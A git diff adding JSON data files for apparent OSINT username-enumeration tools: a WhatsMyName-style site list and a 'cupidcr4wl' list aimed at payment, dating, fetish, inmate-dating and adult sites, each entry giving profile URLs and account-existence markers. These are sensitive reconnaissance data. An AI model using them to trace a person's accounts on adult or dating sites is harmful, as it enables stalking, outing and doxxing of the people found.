"known": [ + "jennifer-ann", + "shay-loveless" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Wattpad", + "uri_check": "https://www.wattpad.com/api/v3/users/{account}", + "uri_pretty": "https://www.wattpad.com/user/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error_code\":", + "m_code": 400, + "known": [ + "newadult", + "Test123" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "waytohey", + "uri_check": "https://waytohey.com/{account}", + "e_code": 200, + "e_string": "Send message</span>", + "m_string": "Unfortunately, this page doesn't exist.", + "m_code": 404, + "known": [ + "igor", + "anna" + ], + "cat": "social" + }, + { + "name": "Weasyl", + "uri_check": "https://www.weasyl.com/~{account}", + "e_code": 200, + "e_string": "profile — Weasyl", + "m_string": "This user doesn't seem to be in our database.", + "m_code": 404, + "known": [ + "weasyl", + "test" + ], + "cat": "images" + }, + { + "name": "Weblancer", + "uri_check": "https://www.weblancer.net/users/{account}/", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "\"user\":", + "m_string": "\"page\":\"/404\"", + "m_code": 404, + "known": [ + "kevin", + "WebArtyom" + ], + "cat": "social" + }, + { + "name": "Weblate", + "uri_check": "https://hosted.weblate.org/user/{account}/", + "e_code": 200, + "e_string": "class=\"user-page text-center\"", + "m_string": "

Page Not Found

", + "m_code": 404, + "known": [ + "login836039", + "Datura0808" + ], + "cat": "hobby" + }, + { + "name": "weebly", + "uri_check": "https://{account}.weebly.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "
", + "m_string": "404 - Page Not Found", + "m_code": 404, + "known": [ + "dave", + "john" + ], + "cat": "misc" + }, + { + "name": "wego", + "uri_check": "https://wego.social/{account}", + "e_code": 200, + "e_string": "Following</span>", + "m_string": "Sorry, page not found!", + "m_code": 302, + "known": [ + "mmish2", + "Lisa_M_S" + ], + "cat": "political" + }, + { + "name": "weheartit", + "uri_check": "https://weheartit.com/{account}", + "e_code": 200, + "e_string": " on We Heart It", + "m_string": " (404)", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "Weibo", + "uri_check": "https://weibo.com/ajax/profile/info?custom={account}", + "uri_pretty": "https://weibo.com/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "

400 Bad Request

", + "m_code": 400, + "known": [ + "guoailun12", + "fbb0916" + ], + "cat": "social" + }, + { + "name": "WeTransfer", + "uri_check": "https://{account}.wetransfer.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "workspaceName", + "m_string": "", + "m_code": 307, + "known": [ + "mark", + "joe" + ], + "cat": "misc" + }, + { + "name": "Wikidot", + "uri_check": "http://www.wikidot.com/user:info/{account}", + "e_code": 200, + "e_string": "

", + "m_string": "
User does not exist.
", + "m_code": 200, + "known": [ + "jack", + "allen" + ], + "cat": "social" + }, + { + "name": "Wikimapia", + "uri_check": "https://wikimapia.org/user/register/?check=username&value={account}", + "uri_pretty": "https://wikimapia.org/user/tools/users_rating/?username={account}", + "e_code": 200, + "e_string": "\"ok\":false", + "m_string": "\"ok\":true", + "m_code": 200, + "known": [ + "bubnilka", + "Teresa" + ], + "cat": "social" + }, + { + "name": "Wikipedia", + "uri_check": "https://meta.wikimedia.org/w/api.php?action=query&format=json&list=globalallusers&aguprefix={account}&agulimit=100", + "uri_pretty": "https://en.wikipedia.org/wiki/User:{account}", + "e_code": 200, + "e_string": "{\"id\":", + "m_string": ":[]}}", + "m_code": 200, + "known": [ + "sector051", + "webbreacher" + ], + "cat": "news" + }, + { + "name": "Wimkin-PublicProfile", + "uri_check": "https://wimkin.com/{account}", + "e_code": 200, + "e_string": "is on WIMKIN", + "m_string": " The page you are looking for cannot be found.", + "m_code": 404, + "known": [ + "alex", + "smith", + "boomer" + ], + "cat": "political" + }, + { + "name": "Wireclub", + "uri_check": "https://www.wireclub.com/users/{account}", + "e_code": 200, + "e_string": "Chat With", + "m_string": "People - Wireclub", + "m_code": 301, + "known": [ + "deae", + "cheerfulsarcasm", + "braydenskiresort" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Wishlistr", + "uri_check": "https://www.wishlistr.com/sign-up/?rs=checkUserName&rsargs[]={account}", + "uri_pretty": "https://www.wishlistr.com/{account}/", + "e_code": 200, + "e_string": "+:var res = \"", + "m_string": "+:var res = parseInt(0);", + "m_code": 200, + "known": [ + "bodymodgrrrl", + "kethistle" + ], + "cat": "shopping" + }, + { + "name": "wordnik", + "uri_check": "https://www.wordnik.com/users/{account}", + "e_code": 200, + "e_string": "Welcome,", + "m_string": "Wordnik: Page Not Found", + "m_code": 404, + "known": [ + "elle", + "john" + ], + "cat": "gaming" + }, + { + "name": "WordPress.com (Deleted)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 403, + "e_string": "\"message\":\"API calls to this endpoint have been disabled.\"", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "ahegyes", + "santinamichelle" + ], + "cat": "blog" + }, + { + "name": "WordPress.com (Private)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 403, + "e_string": "\"message\":\"User cannot access this private blog.\"", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "webbreacher", + "mary" + ], + "cat": "blog" + }, + { + "name": "WordPress.com (Public)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 200, + "e_string": "\"ID\":", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "dukeupress", + "krolowasuperstarblog" + ], + "cat": "blog" + }, + { + "name": "WordPress.org (Forums)", + "uri_check": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{account}", + "uri_pretty": "https://wordpress.org/support/users/{account}/", + "e_code": 200, + "e_string": "\"error\":\"That username is already in use.", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "jane", + "david" + ], + "cat": "blog" + }, + { + "name": "WordPress.org (Profiles)", + "uri_check": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{account}", + "uri_pretty": "https://profiles.wordpress.org/{account}/", + "e_code": 200, + "e_string": "\"error\":\"That username is already in use.", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "toszcze", + "mattsson" + ], + "cat": "blog" + }, + { + "name": "Wowhead", + "uri_check": "https://www.wowhead.com/user={account}", + "e_code": 200, + "e_string": " Profile - Wowhead", + "m_string": "Error - Wowhead", + "m_code": 404, + "known": [ + "Ashelia", + "Zizarz" + ], + "cat": "gaming" + }, + { + "name": "Wykop", + "uri_check": "https://wykop.pl/ludzie/{account}", + "e_code": 200, + "e_string": "Profil:", + "m_string": "Wystąpił błąd 404.", + "m_code": 404, + "known": [ + "test", + "test2" + ], + "cat": "social" + }, + { + "name": "X", + "uri_check": "https://api.x.com/i/users/username_available.json?username={account}", + "uri_pretty": "https://x.com/{account}", + "e_code": 200, + "e_string": "\"reason\":\"taken\"", + "m_string": "\"reason\":\"available\"", + "m_code": 200, + "known": [ + "WebBreacher", + "OSINT_Tactical" + ], + "cat": "social" + }, + { + "name": "Xakep.ru", + "uri_check": "https://xakep.ru/author/{account}/", + "e_code": 200, + "e_string": "authorBlock-avatar", + "m_string": "Страница не найдена", + "m_code": 404, + "known": [ + "tr3harder", + "stariy" + ], + "cat": "tech" + }, + { + "name": "Xanga", + "uri_check": "http://{account}.xanga.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s Xanga Site | Just", + "m_string": "", + "m_code": 302, + "known": [ + "john" + ], + "cat": "blog" + }, + { + "name": "Xbox Gamertag", + "uri_check": "https://www.xboxgamertag.com/search/{account}", + "e_code": 200, + "e_string": "Games Played", + "m_string": "Gamertag doesn't exist", + "m_code": 404, + "known": [ + "Spiken8", + "john" + ], + "cat": "gaming" + }, + { + "name": "xHamster", + "uri_check": "https://xhamster.com/users/{account}", + "e_code": 200, + "e_string": "s profile | xHamster", + "m_string": "User not found", + "m_code": 404, + "known": [ + "john", + "tonystark85" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Xing", + "uri_check": "https://www.xing.com/profile/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Bad request", + "m_code": 400, + "known": [ + "john", + "mumrra" + ], + "cat": "xx NSFW xx" + }, + { + "name": "XVIDEOS-models", + "uri_check": "https://www.xvideos.com/models/{account}", + "e_code": 200, + "e_string": "Total video views", + "m_string": "THIS PROFILE DOESN'T EXIST", + "m_code": 404, + "known": [ + "vvalencourt3", + "tiffany-tyler" + ], + "cat": "xx NSFW xx" + }, + { + "name": "XVIDEOS-profiles", + "uri_check": "https://www.xvideos.com/profiles/{account}", + "e_code": 200, + "e_string": "page - XVIDEOS.COM", + "m_string": "THIS PROFILE DOESN'T EXIST", + "m_code": 404, + "known": [ + "nympho-nailer", + "dpadicto", + "bkg" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Yahoo! JAPAN Auction", + "uri_check": "https://auctions.yahoo.co.jp/follow/list/{account}", + "e_code": 200, + "e_string": "出品者", + "m_string": "Yahoo! JAPAN IDが無効です。", + "m_code": 500, + "known": [ + "fltr14502003" + ], + "cat": "shopping" + }, + { + "name": "yapishu", + "uri_check": "https://yapishu.net/user/{account}", + "e_code": 200, + "e_string": "for_profile", + "m_string": "Not Found (#404)", + "m_code": 404, + "known": [ + "roman", + "semion" + ], + "cat": "hobby" + }, + { + "name": "Yazawaj", + "uri_check": "https://www.yazawaj.com/profile/{account}", + "e_code": 200, + "e_string": "profile-description", + "m_string": "<title>nodata", + "m_code": 302, + "known": [ + "monya14555d", + "LordMohy" + ], + "cat": "dating" + }, + { + "name": "YesWeHack", + "uri_check": "https://api.yeswehack.com/hunters/{account}", + "uri_pretty": "https://yeswehack.com/hunters/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"code\":404", + "m_code": 404, + "known": [ + "xel", + "rabhi" + ], + "cat": "tech" + }, + { + "name": "YouNow", + "uri_check": "https://api.younow.com/php/api/broadcast/info/user={account}", + "uri_pretty": "https://www.younow.com/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"errorMsg\":\"No users found\"", + "m_code": 200, + "known": [ + "lydia_tan33", + "RavJagz" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "youpic", + "uri_check": "https://youpic.com/photographer/{account}", + "e_code": 200, + "e_string": "<meta name=\"og:title\"", + "m_string": "<title>YouPic — Not Found", + "m_code": 404, + "known": [ + "photodude", + "mike" + ], + "cat": "hobby" + }, + { + "name": "YouTube Channel", + "uri_check": "https://www.youtube.com/c/{account}/about", + "e_code": 200, + "e_string": "joinedDateText", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "OvylarockTHR", + "OSINTDojo" + ], + "cat": "video" + }, + { + "name": "YouTube User", + "uri_check": "https://www.youtube.com/user/{account}/about", + "e_code": 200, + "e_string": "joinedDateText", + "m_string": "<title>404 Not Found", + "m_code": 404, + "known": [ + "MicahHoffman", + "theosintcuriousproject" + ], + "cat": "video" + }, + { + "name": "YouTube User2", + "uri_check": "https://www.youtube.com/@{account}", + "e_code": 200, + "e_string": "canonicalBaseUrl", + "m_string": "<title>404 Not Found", + "m_code": 404, + "known": [ + "tactical-systems", + "CybersecurityMeg" + ], + "cat": "video" + }, + { + "name": "Zbiornik", + "uri_check": "https://mini.zbiornik.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "INFO", + "m_string": "", + "m_code": 301, + "known": [ + "69uzytkownik69", + "Soif" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Zenn", + "uri_check": "https://zenn.dev/{account}", + "e_code": 200, + "e_string": "
", + "m_string": "
404
", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "coding" + }, + { + "name": "Zepeto", + "uri_check": "https://gw-napi.zepeto.io/profiles/{account}", + "uri_pretty": "https://web.zepeto.me/share/user/profile/{account}?language=en", + "e_code": 200, + "e_string": "zepetoId\":", + "m_string": "errorCode\":", + "m_code": 200, + "known": [ + "joe", + "james" + ], + "cat": "social" + }, + { + "name": "zhihu", + "uri_check": "https://api.zhihu.com/books/people/{account}/publications?offset=0&limit=5", + "uri_pretty": "https://www.zhihu.com/people/{account}", + "e_code": 200, + "e_string": "\"is_start\": true", + "m_string": "\"name\": \"NotFoundException\"", + "m_code": 404, + "known": [ + "lushnis", + "kan-shu-jiao-hua-shai-tai-yang" + ], + "cat": "social" + }, + { + "name": "Zillow", + "uri_check": "https://www.zillow.com/profile/{account}/", + "e_code": 200, + "e_string": "- Real Estate Agent", + "m_string": "", + "m_code": 302, + "known": [ + "JOHN-L-SULLIVAN", + "Maggie-Alegria" + ], + "cat": "shopping" + }, + { + "name": "zmarsa.com", + "uri_check": "https://zmarsa.com/uzytkownik/{account}", + "e_code": 200, + "e_string": "Statystyki", + "m_string": "Error 404 - zMarsa.com<", + "m_code": 404, + "known": [ + "janek", + "test" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Znanija", + "uri_check": "https://znanija.com/graphql/ru?operationName=NickAvailability&query=query NickAvailability($nick:String!){nickAvailability(nick:$nick){isAvailable}}&variables={\"nick\":\"{account}\"}", + "uri_pretty": "https://www.google.com/search?q=site:znanija.com+intext:{username}", + "e_code": 200, + "e_string": "\"isAvailable\":false", + "m_string": "\"isAvailable\":true", + "m_code": 200, + "known": [ + "ila817674", + "abduabubakir42" + ], + "cat": "misc", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Zomato", + "uri_check": "https://www.zomato.com/{account}/reviews", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "Activity</h4>", + "m_string": "This is a 404 page and we think it's fairly clear", + "m_code": 404, + "known": [ + "john", + "jess" + ], + "cat": "social" + }, + { + "name": "zoomitir", + "uri_check": "https://www.zoomit.ir/user/{account}/", + "e_code": 301, + "e_string": "", + "m_string": "<title>خطای ۴۰۴ - صفحه یافت نشد", + "m_code": 404, + "known": [ + "rezaghezi", + "hosssssein" + ], + "cat": "tech" + }, + { + "name": "Чатовка.net", + "uri_check": "https://chatovka.net/search?user_nick=+{account}&user_sex_m=on&user_sex_f=on", + "e_code": 200, + "e_string": "href=\"/user/", + "m_string": "По Вашему запросу люди не найдены.", + "m_code": 200, + "known": [ + "ФорматА4", + "Alinka1313" + ], + "cat": "social" + } + ] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/cupidcr4wl.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/cupidcr4wl.json new file mode 100644 index 0000000..21967cf --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/cupidcr4wl.json @@ -0,0 +1,1897 @@ +{ + "websites": { + "Cash App": { + "url": "https://cash.app/${username}", + "check_text": [ + "on Cash App" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "payment and gifting" + }, + "Venmo": { + "url": "https://account.venmo.com/u/{username}", + "check_text": [ + "robots" + ], + "not_found_text": [ + "Venmo | Page Not Found" + ], + "category": "payment and gifting" + }, + "Buy Me A Coffee": { + "url": "https://buymeacoffee.com/{username}", + "check_text": [ + "og:title" + ], + "not_found_text": [ + "Not found" + ], + "category": "payment and gifting" + }, + "Linktree": { + "url": "https://linktr.ee/{username}", + "check_text": [ + "og:title" + ], + "not_found_text": [ + ":404" + ], + "category": "social" + }, + "Milkshake": { + "url": "https://msha.ke/{username}/", + "check_text": [ + "Milkshake Website Builder" + ], + "not_found_text": [ + "Well, this is awkward..." + ], + "category": "social" + }, + "Get All My Links": { + "url": "https://getallmylinks.com/{username}", + "check_text": [ + "GetAllMyLinks" + ], + "not_found_text": [ + "<title>GetAllMyLinks - 404" + ], + "category": "social" + }, + "All My Links": { + "url": "https://allmylinks.com/{username}", + "check_text": [ + "| AllMyLinks", + "profile-username profile-page" + ], + "not_found_text": [ + "Not Found" + ], + "category": "social" + }, + "Bybio": { + "url": "https://bybio.co/{username}", + "check_text": [ + "BYBIO" + ], + "not_found_text": [ + "404 not found", + "Bybio" + ], + "category": "social" + }, + "Reddit": { + "url": "https://www.reddit.com/user/{username}/", + "check_text": [ + "shreddit-profile-trophy-list", + "karma", + "cake day", + "posted yet" + ], + "not_found_text": [ + "sorry, nobody on reddit goes by that name.", + ">This account may have been banned or the username is incorrect.</p>" + ], + "category": "social" + }, + "Snapchat": { + "url": "https://snapchat.com/add/{username}", + "check_text": [ + "Header_displayNameText", + "Add me on snapchat!" + ], + "not_found_text": [ + "NoContent_title", + "Sorry," + ], + "category": "social" + }, + "Telegram": { + "url": "https://t.me/{username}", + "check_text": [ + "tgme_profile_title", + "tgme_page_extra" + ], + "not_found_text": [ + "noindex, nofollow", + "a new era of messaging" + ], + "category": "social" + }, + "Tumblr": { + "url": "https://www.tumblr.com/{username}", + "check_text": [ + "follow", + "posts" + ], + "not_found_text": [ + "whatever you were looking for" + ], + "category": "social" + }, + "Deviantart": { + "url": "https://www.deviantart.com/{username}", + "check_text": [ + "favourites", + "gallery" + ], + "not_found_text": [ + "llama not found" + ], + "category": "social" + }, + "Wattpad": { + "url": "https://www.wattpad.com/user/{username}", + "check_text": [ + "rss -" + ], + "not_found_text": [ + "wattpad - where stories live" + ], + "category": "social" + }, + "Fur Affinity": { + "url": "https://www.furaffinity.net/user/{username}", + "check_text": [ + "<title>Userpage of" + ], + "not_found_text": [ + "<title>System Error" + ], + "category": "social" + }, + "Fancentro": { + "url": "https://fancentro.com/{username}", + "check_text": [ + "Subscribe", + ">followers", + "modelSlug" + ], + "not_found_text": [ + "Porn Videos" + ], + "category": "social" + }, + "Clapper App": { + "url": "https://www.clapperapp.com/{username}", + "check_text": [ + "following", + "followers", + "likes" + ], + "not_found_text": [ + "couldn't find this account" + ], + "category": "social" + }, + "Tinder": { + "url": "https://www.tinder.com/@{username}", + "check_text": [ + "(@{username}) | Tinder", + "TinderPage Not Found", + "Tinder | Dating, Make Friends &" + ], + "category": "dating and hook-up" + }, + "Fab Swingers": { + "url": "https://www.fabswingers.com/profile/{username}", + "check_text": [ + "

Looking For

", + "

Meeting

" + ], + "not_found_text": [ + "

The user you tried to view doesn't seem to be on the site any more

" + ], + "category": "dating and hook-up" + }, + "Swapfinder": { + "url": "https://swapfinder.com/profile/{username}", + "check_text": [ + "Profile on Swapfinder.com" + ], + "not_found_text": [ + "Swapfinder.com", + "Swapfinder - Where singles come out to play!" + ], + "category": "dating and hook-up" + }, + "Date-Fans": { + "url": "https://date-fans.com/profile/{username}", + "check_text": [ + "| Date-Fans" + ], + "not_found_text": [ + "DateFans" + ], + "category": "dating and hook-up" + }, + "Tagged": { + "url": "https://www.tagged.com/{username}", + "check_text": [ + "https://tagged.com/{username}", + "robots" + ], + "not_found_text": [ + "Tagged makes it easy", + "meet New People", + "verify-v1" + ], + "category": "dating and hook-up" + }, + "live.Xdating": { + "url": "https://live.xdating.com/{username}/bio", + "check_text": [ + "followers" + ], + "not_found_text": [ + "error, page not found" + ], + "category": "dating and hook-up" + }, + "FriendFinder-X": { + "url": "https://www.friendfinder-x.com/profile/{username}", + "check_text": [ + ">Profile</a>" + ], + "not_found_text": [ + "https://adultfriendfinder.com/p/register.cgi", + "Sign up for free at AdultFriendFinder", + "register, sign up, join, AdultFriendFinder", + "The World's Largest Casual Personals Site." + ], + "category": "dating and hook-up" + }, + "BDSM Singles": { + "url": "https://www.bdsmsingles.com/members/{username}", + "check_text": [ + "<title>Profile" + ], + "not_found_text": [ + "bdsmsingles.com/?language" + ], + "category": "dating and hook-up" + }, + "Find A Femdom": { + "url": "https://app.findafemdom.com/members/{username}", + "check_text": [ + "<title>Profile" + ], + "not_found_text": [ + "findafemdom.com/?language" + ], + "category": "dating and hook-up" + }, + "Inmate Classified (search)": { + "url": "https://www.inmate.com/?s={username}&post_type=inmate", + "check_text": [ + "profile-block Male" + ], + "not_found_text": [ + "search-no-results" + ], + "category": "dating and hook-up" + }, + "Women Behind Bars (search)": { + "url": "https://womenbehindbars.com/?s={username}", + "check_text": [ + "</span> Read More" + ], + "not_found_text": [ + "<p>Sorry, but nothing" + ], + "category": "dating and hook-up" + }, + "Inmate Passions": { + "url": "https://inmatepassions.com/dating/{username}/", + "check_text": [ + "<title>Inmate Passions:" + ], + "not_found_text": [ + "<strong>WHAT?" + ], + "category": "dating and hook-up" + }, + "Tasty Slips (underwear sales)": { + "url": "https://tastyslips.com/en/vendors/{username}", + "check_text": [ + ">About me</h2>" + ], + "not_found_text": [ + "The website was not found. Feel free to check out tastyslips.com", + "<title>Not found - TastySlips" + ], + "category": "fetish" + }, + "SoMyMy (underwear sales)": { + "url": "https://somymy.com/{username}", + "check_text": [ + ">Last seen", + ">Items of" + ], + "not_found_text": [ + ">Sorry, that page is not found!

" + ], + "category": "fetish" + }, + "UBIUSB (underwear sales)": { + "url": "https://ubisub.com/profile/{username}/", + "check_text": [ + "Follow", + ">Age:", + ">About" + ], + "not_found_text": [ + ">ohh! page not found

" + ], + "category": "fetish" + }, + "Fetish Finder": { + "url": "https://app.fetishfinder.com/sellerProfile/{username}", + "check_text": [ + ">Photos
", + ">Videos

", + "Follow" + ], + "not_found_text": [ + "

Something went wrong

" + ], + "category": "fetish" + }, + "Feet Finder": { + "url": "https://app.feetfinder.com/sellerProfile/{username}", + "check_text": [ + ">Photos", + ">Videos", + "Follow" + ], + "not_found_text": [ + "

Something went wrong

" + ], + "category": "fetish" + }, + "Sinful Feet": { + "url": "https://sinfulfeet.com/models/{username}.html", + "check_text": [ + "SinfulFeet | " + ], + "not_found_text": [ + "Page not found" + ], + "category": "fetish" + }, + "Foot Fetish Beauties": { + "url": "https://footfetishbeauties.com/tour/models/{username}.html", + "check_text": [ + "<TITLE>FootFetishBeauties" + ], + "not_found_text": [ + "Page not found" + ], + "category": "fetish" + }, + "Fetish.com": { + "url": "https://www.fetish.com/p/{username}/", + "check_text": [ + ">Send message</span>", + "<h3>Interested in", + "About me", + "This profile is only visible for users who are logged in</h2>" + ], + "not_found_text": [ + "<title>404 Not Found" + ], + "category": "fetish" + }, + "XXXfollow": { + "url": "https://www.xxxfollow.com/{username}", + "check_text": [ + "</b>Views</div>", + "</b>Followers</div>", + "</b>Likes</div>" + ], + "not_found_text": [ + "<title>XXX follow - Free TikTok Porn (formerly Xfollow)" + ], + "category": "adult video and photo" + }, + "WatchMyGF": { + "url": "https://www.watchmygf.me/girls/{username}/", + "check_text": [ + "Age:", + "Name:", + ">Subscribe" + ], + "not_found_text": [ + "Page is not found: deleted or never existed" + ], + "category": "adult video and photo" + }, + "VR PORN": { + "url": "https://vrporn.com/pornstars/{username}/", + "check_text": [ + ">Follow" + ], + "not_found_text": [ + "We're sorry, but this page wasn't found.

", + "pornstar-item-name ranking" + ], + "category": "adult video and photo" + }, + "badoink vr": { + "url": "https://badoinkvr.com/vr-pornstar/{username}/", + "check_text": [ + "Measurements:
", + ">Height:", + ">Eyes:" + ], + "not_found_text": [ + "This page does not exist" + ], + "category": "adult video and photo" + }, + "Wankz VR": { + "url": "https://www.wankzvr.com/{username}", + "check_text": [ + ">Birthplace:", + ">Age:", + ">Height:" + ], + "not_found_text": [ + "Oops 404, we couldn't find the page you're looking for" + ], + "category": "adult video and photo" + }, + "SexLikeReal": { + "url": "https://www.sexlikereal.com/pornstars/{username}", + "check_text": [ + ">Date of birth", + ">Country of Origin", + ">Weight" + ], + "not_found_text": [ + ">Sorry... Requested page doesn't exist." + ], + "category": "adult video and photo" + }, + "Babepedia": { + "url": "https://www.babepedia.com/babe/{username}", + "check_text": [ + ">Add to favorites", + ">Body type:" + ], + "not_found_text": [ + "Sorry, she wasn't found in our database.", + "There's no exact match in our database." + ], + "category": "adult video and photo" + }, + "Tranny Videosx": { + "url": "https://trannyvideosx.com/user/{username}", + "check_text": [ + "Last Login:", + "Joined:" + ], + "not_found_text": [ + "Error", + "This user does not exist." + ], + "category": "adult video and photo" + }, + "Pornzog": { + "url": "https://pornzog.com/pornstar/{username}/", + "check_text": [ + ">Aliases:", + ">Birth Date:", + ">Hair Color:" + ], + "not_found_text": [ + "UUUPS there is no content matching your query.", + ">Not Found" + ], + "category": "adult video and photo" + }, + "Tube Galore (pornstars)": { + "url": "https://www.tubegalore.com/pornstar/{username}", + "check_text": [ + "results found", + "1" + ], + "not_found_text": [ + "404 not found" + ], + "category": "adult video and photo" + }, + "Tube Galore (channels)": { + "url": "https://www.tubegalore.com/source/{username}", + "check_text": [ + "results found", + "1" + ], + "not_found_text": [ + "404 not found" + ], + "category": "adult video and photo" + }, + "Shesfreaky": { + "url": "https://www.shesfreaky.com/profile/{username}/", + "check_text": [ + "views

" + ], + "not_found_text": [ + "

The requested file was not found on this server.

" + ], + "category": "adult video and photo" + }, + "Playboy App": { + "url": "https://www.playboy.com/app/{username}", + "check_text": [ + "exclusive content on Playboy | The Playboy Club" + ], + "not_found_text": [ + "<title>Not Found" + ], + "category": "adult video and photo" + }, + "RealGfPorn (user)": { + "url": "https://www.realgfporn.com/user/{username}", + "check_text": [ + "Profile - Real Girlfriend Porn" + ], + "not_found_text": [ + "404 - page not found" + ], + "category": "adult video and photo" + }, + "BabesDirectory": { + "url": "https://babesdirectory.online/profile/{username}", + "check_text": [ + "BIO, Wiki, News" + ], + "not_found_text": [ + "Babe not found 404" + ], + "category": "adult video and photo" + }, + "Boobpedia": { + "url": "https://www.boobpedia.com/wiki/index.php?title=Special:Search&profile=all&search={username}&fulltext=1", + "check_text": [ + "Page title matches" + ], + "not_found_text": [ + "There were no results matching the query." + ], + "category": "adult video and photo" + }, + "Fansify": { + "url": "https://fansify.co.uk/{username}", + "check_text": [ + "'s profile" + ], + "not_found_text": [ + "Fansify | Join" + ], + "category": "adult video and photo" + }, + "Pornhub (pornstars)": { + "url": "https://www.pornhub.com/pornstar/{username}", + "check_text": [ + "<div id=\"avatarPicture\">", + "Subscribers:", + "Video Views:", + "Gender:" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "<title>Page Not Found", + "Top Pornstars and Models In Full-Length Free Sex Videos" + ], + "category": "adult video and photo" + }, + "Pornhub (models)": { + "url": "https://www.pornhub.com/model/{username}", + "check_text": [ + "Model Rank </div>", + "add friend" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "<title>Page Not Found", + "Top Pornstars and Models In Full-Length Free Sex Videos" + ], + "category": "adult video and photo" + }, + "Pornhub (users)": { + "url": "https://www.pornhub.com/users/{username}", + "check_text": [ + "<title>{username}", + "Profile - Pornhub.com" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Pornhub (channels)": { + "url": "https://www.pornhub.com/channels/{username}", + "check_text": [ + "{username}", + "Profile - Pornhub.com", + "joined" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "XVIDEOS (pornstars)": { + "url": "https://www.xvideos.com/pornstars/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS (users/channels)": { + "url": "https://www.xvideos.com/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS (profiles)": { + "url": "https://www.xvideos.com/profiles/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS Red": { + "url": "https://www.xvideos.red/{username}", + "check_text": [ + "video views", + "Subscribe", + "Videos" + ], + "not_found_text": [ + "Learn more" + ], + "category": "adult video and photo" + }, + "Redtube (pornstars)": { + "url": "https://www.redtube.com/pornstar/{username}", + "check_text": [ + "index, follow", + "Bio" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Redtube (users)": { + "url": "https://www.redtube.com/users/{username}", + "check_text": [ + "{username}'s Profile - RedTube", + "noindex, follow" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "Redtube (channels)": { + "url": "https://www.redtube.com/channels/{username}", + "check_text": [ + "{username} Channel Page: Free Porn Movies | Redtube", + "index, follow" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XNXX (pornstars)": { + 